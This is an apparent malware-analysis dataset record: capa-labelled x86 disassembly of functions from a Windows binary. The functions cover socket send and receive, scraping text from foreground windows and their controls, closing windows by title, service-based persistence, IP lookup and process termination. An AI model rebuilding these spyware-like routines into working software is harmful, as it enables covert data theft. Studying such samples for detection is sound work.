joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d3c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44d4fc
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x44d514
mov dl, 4
mov eax, dword [ebp - 4]
call fcn.0044e640
mov eax, dword [ebp - 4]
call fcn.0044ded0
xor edx, edx
push ebp
push 0x44d4df
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10088], 0
jne 0x44d47e
test si, si
jne 0x44d430
mov eax, dword [ebp - 8]
call fcn.00408e1c
mov esi, eax
cmp esi, 0xffff
jbe 0x44d430
call fcn.00402d78
movzx ebx, si
push 0
push ebx
movzx eax, si
sub eax, ebx
mov edx, dword [ebp - 8]
lea eax, [edx + eax]
push eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x10288]
push eax
call sub.wsock32.dll_send
test eax, eax
je 0x44d47e
cmp eax, 0xffffffff
jle 0x44d45f
sub ebx, eax
jmp 0x44d46e
lea ecx, [ebp - 0xc]
mov dx, 0x2733
mov eax, dword [ebp - 4]
call fcn.0044e574
test ebx, ebx
je 0x44d47e
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10088], 0
je 0x44d433
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10088], 0
je 0x44d4c9
mov eax, dword [ebp - 4]
mov byte [eax + 0x10088], 0
mov ecx, 0x44d52c
mov dl, 1
mov eax, dword [0x44c8e0]
call fcn.00409e58
call fcn.00403598
mov eax, dword [ebp - 4]
cmp word [eax + 0x10282], 0
je 0x44d4c9
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x10284]
call dword [ebx + 0x10280]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d4e6
mov eax, dword [ebp - 4]
call fcn.0044df28
ret
Function at 0x44da18
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44db99
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x44dbb0
mov dl, 8
mov eax, ebx
call fcn.0044e640
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.00410834
cmp byte [ebx + 0x10088], 0
jne 0x44db45
xor eax, eax
mov dword [ebx + 0x10084], eax
mov eax, dword [ebp - 4]
call fcn.00410840
mov dword [ebx + 0x100b0], eax
mov eax, dword [ebp - 4]
call fcn.00410840
push eax
mov eax, dword [ebp - 4]
call fcn.00410824
pop edx
xchg edx, eax
sub eax, edx
cmp eax, 0x10000
jle 0x44da94
mov eax, 0x10000
lea edx, [ebx + 0x24]
mov ecx, eax
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 4]
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
push 0
push esi
mov eax, dword [ebp - 8]
sub eax, esi
cmp eax, 0x10000
jbe 0x44dabb
call fcn.00402d78
lea eax, [ebx + eax + 0x24]
push eax
movzx eax, word [ebx + 0x10288]
push eax
call sub.wsock32.dll_send
test eax, eax
je 0x44db83
test eax, eax
jle 0x44dafb
sub esi, eax
add dword [ebx + 0x10084], eax
cmp word [ebx + 0x100c2], 0
je 0x44db09
mov edx, ebx
mov eax, dword [ebx + 0x100c4]
call dword [ebx + 0x100c0]
jmp 0x44db09
lea ecx, [ebp - 0xc]
mov dx, 0x2733
mov eax, ebx
call fcn.0044e574
mov eax, dword [0x4599e4]
mov eax, dword [eax]
call fcn.00445f00
test esi, esi
je 0x44db22
cmp byte [ebx + 0x10088], 0
je 0x44daa7
mov eax, dword [ebp - 4]
call fcn.00410840
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00410824
cmp esi, eax
je 0x44db45
cmp byte [ebx + 0x10088], 0
je 0x44da73
cmp byte [ebx + 0x10088], 0
je 0x44db83
mov byte [ebx + 0x10088], 0
mov ecx, 0x44dbc4
mov dl, 1
mov eax, dword [0x44c8e0]
call fcn.00409e58
call fcn.00403598
cmp word [ebx + 0x10282], 0
je 0x44db83
mov edx, ebx
mov eax, dword [ebx + 0x10284]
call dword [ebx + 0x10280]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44dba0
lea eax, [ebp - 0xc]
call fcn.00403b4c
ret
Function at 0x44e47c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x44e548
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x44e55c
mov dl, 4
mov eax, ebx
call fcn.0044e640
mov byte [ebx + 0x10290], 0
mov si, word [ebx + 0x10288]
cmp si, 0xffff
je 0x44e532
movzx eax, si
push eax
call sub.wsock32.dll_closesocket
test eax, eax
jne 0x44e524
test byte [ebx + 0x20], 8
jne 0x44e4e1
cmp word [ebx + 0x1004a], 0
je 0x44e4e1
mov edx, ebx
mov eax, dword [ebx + 0x1004c]
call dword [ebx + 0x10048]
cmp byte [ebx + 0x10089], 0
jne 0x44e532
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffff
jbe 0x44e504
call fcn.00402d78
mov word [ebx + 0x10288], si
push 0x3d
push 0x465
mov eax, dword [ebx + 0x1028c]
push eax
movzx eax, si
push eax
call sub.wsock32.dll_WSAAsyncSelect
jmp 0x44e532
lea ecx, [ebp - 4]
mov dx, 0x2733
mov eax, ebx
call fcn.0044e574
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e54f
lea eax, [ebp - 4]
call fcn.00403b4c
ret

Function at 0x44e6e8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, eax
mov ecx, 0x44e724
mov dl, 8
mov eax, ebx
call fcn.0044e640
push 2
push 1
lea eax, [ebx + 0x24]
push eax
movzx eax, word [ebx + 0x10288]
push eax
call sub.wsock32.dll_recv
test eax, eax
jle 0x44e716
mov al, 1
pop ebx
ret
xor eax, eax
pop ebx
ret
Function at 0x452a58
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x452bbc
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40d388]
call fcn.00402e10
mov dword [ebp - 4], eax
call sub.user32.dll_GetDesktopWindow
push 5
push eax
call sub.user32.dll_GetWindow
mov ebx, eax
mov eax, 0xc8
call fcn.0040270c
mov esi, eax
test ebx, ebx
jbe 0x452aed
push 0xc8
push esi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403d04
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004089c0
cmp dword [ebp - 0x10], 0
je 0x452adf
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.00403d04
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
ja 0x452aa3
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jle 0x452b92
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x452b92
inc ebx
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
call fcn.004087ec
mov edx, dword [ebp - 0xc]
mov eax, 0x452bd4
call fcn.004040b8
test eax, eax
je 0x452b5f
mov eax, dword [ebp - 0xc]
call fcn.00403f90
push eax
push 0
call sub.user32.dll_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.user32.dll_PostMessageA
jmp 0x452b8c
mov edx, dword [ebp - 0xc]
mov eax, 0x452bf0
call fcn.004040b8
test eax, eax
je 0x452b8c
mov eax, dword [ebp - 0xc]
call fcn.00403f90
push eax
push 0
call sub.user32.dll_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.user32.dll_PostMessageA
inc dword [ebp - 8]
dec ebx
jne 0x452b17
mov eax, esi
call fcn.00402724
mov eax, dword [ebp - 4]
call fcn.00402e40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452bc3
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00403b70
ret
Function at 0x452cf8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x452ee4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov edi, eax
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.user32.dll_GetForegroundWindow
mov esi, eax
push 0xc8
push edi
push esi
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 4]
mov edx, edi
call fcn.00403d04
mov eax, dword [ebp - 4]
mov edx, 0x452efc
call fcn.00403edc
jne 0x452ebb
push 0xc8
push ebx
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403d04
mov eax, dword [ebp - 8]
mov edx, 0x452f0c
call fcn.00403edc
jne 0x452ebb
push 0
push 0x452f18
push 0
push esi
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x452da8
push ebx
push 0xc8
push 0xd
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x452f2c
call fcn.00403e18
mov edx, dword [ebp - 0xc]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d50
push 0
push 0x452f38
push 0
push esi
call sub.user32.dll_FindWindowExA
mov esi, eax
test esi, esi
je 0x452ebb
mov eax, dword [0x45991c]
mov eax, dword [eax]
mov edx, 0x452f48
call fcn.00403edc
jne 0x452e60
push 0
push 0
push 0xcc
push esi
call sub.user32.dll_SendMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x452f54
call fcn.00403e18
mov edx, dword [ebp - 0x14]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
jmp 0x452ebb
push 0
push 0
push 0xcc
push esi
call sub.user32.dll_PostMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x452f54
call fcn.00403e18
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
mov eax, edi
call fcn.00402724
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452eeb
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b70
ret
Function at 0x452f60
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4530fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov edi, eax
mov eax, 0xc8
call fcn.0040270c
mov esi, eax
call sub.user32.dll_GetForegroundWindow
mov dword [ebp - 4], eax
push 0xc8
push edi
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0xc]
mov edx, edi
call fcn.00403d04
mov eax, dword [ebp - 0xc]
mov edx, 0x453110
call fcn.00403edc
jne 0x4530d1
xor ebx, ebx
push 0
push 0x45311c
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_FindWindowExA
mov ebx, eax
test ebx, ebx
je 0x4530d1
push 0
push 0x45312c
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
test ebx, ebx
je 0x4530d1
push 0
push 0x453138
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov dword [ebp - 8], eax
push 0
push 0x453144
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
cmp dword [ebp - 8], 0
jle 0x4530d1
test ebx, ebx
jle 0x4530d1
push esi
push 0xc8
push 0xd
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403d04
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x453154
call fcn.00403e18
mov edx, dword [ebp - 0x10]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d50
push 0
push 0
push 0xcc
push ebx
call sub.user32.dll_PostMessageA
push esi
push 0xc8
push 0xd
push ebx
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push ebx
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.00403d04
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x453164
call fcn.00403e18
mov edx, dword [ebp - 0x18]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
mov eax, edi
call fcn.00402724
mov eax, esi
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453101
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00403b70
ret

Function at 0x453238
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x4532c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.user32.dll_GetForegroundWindow
mov esi, eax
push 0xc8
push ebx
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403d04
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004087ec
mov edx, dword [ebp - 4]
mov eax, 0x4532d8
call fcn.004040b8
dec eax
jle 0x45329f
push 0
push 0
push 0x10
push esi
call sub.user32.dll_PostMessageA
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4532c8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b70
ret
Function at 0x4532dc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x45345e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
push 0x45346c
push 0x45347c
call sub.user32.dll_FindWindowA
mov esi, eax
test esi, esi
je 0x45343c
push 0
push 0x453484
push 0
push esi
call sub.user32.dll_FindWindowExA
mov edi, eax
test edi, edi
je 0x453344
push 0
push 0x453484
push edi
push esi
call sub.user32.dll_FindWindowExA
mov dword [ebp - 4], eax
mov esi, ebx
push esi
push 0xc8
push 0xd
push edi
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x453494
call fcn.00403e18
mov edx, dword [ebp - 8]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d50
mov eax, dword [0x45991c]
mov eax, dword [eax]
mov edx, 0x4534a8
call fcn.00403edc
jne 0x4533d8
push esi
push 0xc8
push 0xd
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x4534b4
call fcn.00403e18
mov edx, dword [ebp - 0x10]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
jmp 0x45343c
push 0
push 0
push 0xcc
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_PostMessageA
push esi
push 0xc8
push 0xd
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x4534b4
call fcn.00403e18
mov edx, dword [ebp - 0x18]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453465
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00403b70
ret
Function at 0x45358c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4537b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov edi, eax
mov eax, 0xc8
call fcn.0040270c
mov esi, eax
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
push 0xc8
push edi
push ebx
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 4]
mov edx, edi
call fcn.00403d04
mov eax, dword [ebp - 4]
mov edx, 0x4537d0
call fcn.00403edc
jne 0x45378e
xor eax, eax
push 0x4537d8
push 0x4537e4
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x45378e
xor eax, eax
push 0x4537ec
push 0x4537e4
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x45378e
xor eax, eax
push 0x4537f8
push 0x4537e4
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x45378e
xor eax, eax
push 0x453800
push 0x4537e4
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x45378e
xor eax, eax
push 0x453808
push 0x4537e4
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x45378e
push 0
push 0x453814
push 0
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
jle 0x4536c8
push esi
push 0xc8
push 0xd
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403d04
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x453828
call fcn.00403e18
mov edx, dword [ebp - 8]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d50
push 0
push 0x453830
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
test ebx, ebx
jle 0x45378e
mov eax, dword [0x45991c]
mov eax, dword [eax]
mov edx, 0x453840
call fcn.00403edc
jne 0x453733
push esi
push 0xc8
push 0xd
push ebx
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403d04
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x45384c
call fcn.00403e18
mov edx, dword [ebp - 0x10]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
jmp 0x45378e
push 0
push 0
push 0xcc
push ebx
call sub.user32.dll_PostMessageA
push esi
push 0xc8
push 0xd
push ebx
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push ebx
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.00403d04
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x45384c
call fcn.00403e18
mov edx, dword [ebp - 0x18]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
mov eax, edi
call fcn.00402724
mov eax, esi
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4537be
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00403b70
ret
Function at 0x453854
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x453a13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.user32.dll_GetForegroundWindow
mov esi, eax
push 0xc8
push ebx
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00403d04
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 8]
mov edx, 0x4b
mov al, 0x20
call fcn.00404164
mov edx, dword [ebp - 8]
pop eax
call fcn.00403edc
jne 0x4539f1
push 0
push 0x453a24
push 0
push esi
call sub.user32.dll_FindWindowExA
mov esi, eax
test esi, esi
je 0x4539f1
push 0
push 0x453a2c
push 0
push esi
call sub.user32.dll_FindWindowExA
mov edi, eax
push 0
push 0x453a2c
push edi
push esi
call sub.user32.dll_FindWindowExA
mov esi, eax
test edi, edi
je 0x4539f1
test esi, esi
je 0x4539f1
push ebx
push 0xc8
push 0xd
push edi
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x453a3c
call fcn.00403e18
mov edx, dword [ebp - 0xc]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d50
mov eax, dword [0x45991c]
mov eax, dword [eax]
mov edx, 0x453a4c
call fcn.00403edc
jne 0x453996
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x453a58
call fcn.00403e18
mov edx, dword [ebp - 0x14]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
jmp 0x4539f1
push 0
push 0
push 0xcc
push esi
call sub.user32.dll_PostMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00403d04
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x453a58
call fcn.00403e18
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x459ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d50
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453a1a
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b70
ret
Function at 0x453d50
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403f80
xor eax, eax
push ebp
push 0x453de8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00408d28
mov eax, dword [ebp - 8]
call fcn.00403f90
mov esi, eax
push 2
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403f90
push eax
push 1
push 2
push 0x110
push 0xf01ff
push esi
push esi
push ebx
call sub.advapi32.dll_CreateServiceA
push eax
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453def
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b70
ret

Function at 0x454250
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x204], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x454337
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x454301
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x200]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403b4c
push 0x65
lea eax, [ebp - 0x6d]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x6d]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x4542c3
pop dword fs:[0]
add esp, 8
jmp 0x454316
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4542eb
push dword [edi]
call sub.wsock32.dll_inet_ntoa
lea edx, [ebp - 0x204]
call fcn.00409054
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 8]
call fcn.00403dd4
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4542ca
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45430b
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00403ba0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45433e
lea eax, [ebp - 0x204]
call fcn.00403b4c
lea eax, [ebp - 8]
call fcn.00403b4c
ret

Function at 0x455514
Capabilities:
Terminate process

Disassembly:
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x45552a
push 0
push eax
call sub.kernel32.dll_TerminateProcess
ret